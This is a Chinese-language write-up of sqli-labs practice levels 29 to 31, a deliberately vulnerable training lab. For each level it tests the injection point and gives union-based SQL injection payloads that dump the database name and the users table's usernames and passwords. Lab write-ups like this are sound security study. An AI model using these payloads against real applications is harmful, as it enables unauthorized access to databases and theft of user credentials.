本文章主要讲述sqli-labs靶场第29关到32关的通关心得,从三方面讲述如何通关,分别是注入点判断、源码分析、注入过程。
文章若有不恰当之处,望指出~~
【第二十九关】
Ⅰ 观察
首页讲到“该网页被世界上就好的防火墙保护着”
Ⅱ 判断注入点
id = 1 正常显示Dumb
id = 1’ 报错 显示 ‘1’’ limit 0,1
id= 1’ and '1 正常显示Dumb
构造playload
?id=1' union 1,XX,3 and '1
Ⅲ 注入开始
① 爆数据库
?id=00' union select 1,database(),3 and '1
②爆数据
?id=00' union select 1,(select group_concat(id,'~',username,'~',password) from security.users),3 and '1
Ⅳ 源码分析
写道这里,感觉很奇怪,那个防火墙呢?这和第一关很类似,直接拿着sql就注入进去了
看一下源码,发现只匹配字符型,直接联合注入
【第三十关】
Ⅰ 观察
页面和第二十九关一样,不过这里加了一个盲注
Ⅱ 判断注入点
id=1 显示
id=1’ 显示,有可能是双引号注入
id=1“ 不显示,很有可能是双引号,不过要排除掉是否存在闭合+单引号
?id=1" or 1=1 如果是单引号注入,会显示;反之不显示
从上图便可以确定是双引号闭合
构建playload
?id=1" union 1,XX,3 or "1
Ⅲ 注入开始
发现联合注入,原来可以使用,就直接用联合爆数据
? id=" union select 1,database() ,3 or "1
直接爆数据
? id=" union select 1,(select group_concat(id,'~',username,'~',password) from security.users) ,3 or "1
【第三十一关】
跟前面一样,只是多了个闭合注入
?id=00") union select 1,(select group_concat(username,'~',password) from security.users),3 and ("1